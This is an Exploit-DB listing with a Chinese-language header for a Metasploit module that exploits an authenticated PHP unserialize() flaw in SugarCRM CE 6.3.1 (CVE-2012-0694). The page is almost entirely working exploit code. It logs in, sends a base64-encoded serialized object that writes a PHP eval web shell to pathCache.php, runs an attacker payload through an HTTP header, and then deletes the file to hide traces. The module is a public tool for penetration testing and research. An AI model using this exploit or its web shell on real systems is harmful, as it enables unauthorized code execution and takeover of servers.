标题: SugarCRM CE 6.3.1 - 'Unserialize()' PHP Code Execution (Metasploit) EDB-ID: 19403 CVE: 2012-0694 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-26 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
   'Description'    => %q{
     This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
    which could be abused to allow authenticated SugarCRM users to execute arbitrary
    code with the permissions of the webserver.

    The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
    script, which is called with user controlled data from the 'current_query_by_page'
    parameter. The exploit abuses the __destruct() method from the SugarTheme class
    to write arbitrary PHP code to a 'pathCache.php' on the web root.
   },
   'Author' =>
    [
     'EgiX', # Vulnerability discovery and PoC
     'juan vazquez', # Metasploit module
     'sinn3r' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2012-0694' ],
     [ 'EDB', '19381' ],
     [ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'DisableNops' => true,
    },
   'Targets'        => [ ['Automatic', { }], ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jun 23 2012'
   ))

   register_options(
    [
     OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]),
     OptString.new('USERNAME', [true, "The username to authenticate with" ]),
     OptString.new('PASSWORD', [true, "The password to authenticate with" ])
    ], self.class)
 end


 def on_new_session(client)
  if client.type == "meterpreter"
   f = "pathCache.php"
   client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
   begin
    client.fs.file.rm(f)
    print_good("#{@peer} - #{f} removed to stay ninja")
   rescue
    print_error("#{@peer} - Unable to remove #{f}")
   end
  end
 end

 def exploit
  base = target_uri.path
  base << '/' if base[-1, 1] != '/'

  @peer = "#{rhost}:#{rport}"
  username = datastore['USERNAME']
  password = datastore['PASSWORD']

  # Can't use vars_post because it'll escape "_"
  data = "module=Users&"
  data << "action=Authenticate&"
  data << "user_name=#{username}&"
  data << "user_password=#{password}"

  res = send_request_cgi(
  {
   'uri'    => "#{base}index.php" ,
   'method' => "POST",
   'headers'   =>
    {
     'Cookie'  => "PHPSESSID=1",
    },
   'data'   => data
  })

  if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
   print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
   return
  end

  if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
   session_id = $1
  else
   print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
   return
  end

  print_status("#{@peer} - Login successful with #{username}:#{password}")

  data = "module=Contacts&"
  data << "Contacts2_CONTACT_offset=1&"
  data << "current_query_by_page="
  #O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
  data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="

  print_status("#{@peer} - Exploiting the unserialize()")

  res = send_request_cgi(
  {
   'uri' => "#{base}index.php",
   'method' => 'POST',
   'headers'   =>
   {
    'Cookie'  => "PHPSESSID=#{session_id};",
   },
   'data' => data
  })

  if not res or res.code != 200
   print_error("#{@peer} - Exploit failed: #{res.code}")
   return
  end

  print_status("#{@peer} - Executing the payload")

  res = send_request_cgi(
  {
   'method' => 'GET',
   'uri'    => "#{base}pathCache.php",
   'headers' => {
    'Cmd' => Rex::Text.encode_base64(payload.encoded)
   }
  })

  if res
   print_error("#{@peer} - Payload execution failed: #{res.code}")
   return
  end

 end
end URL: https://www.exploit-db.com/exploits/19403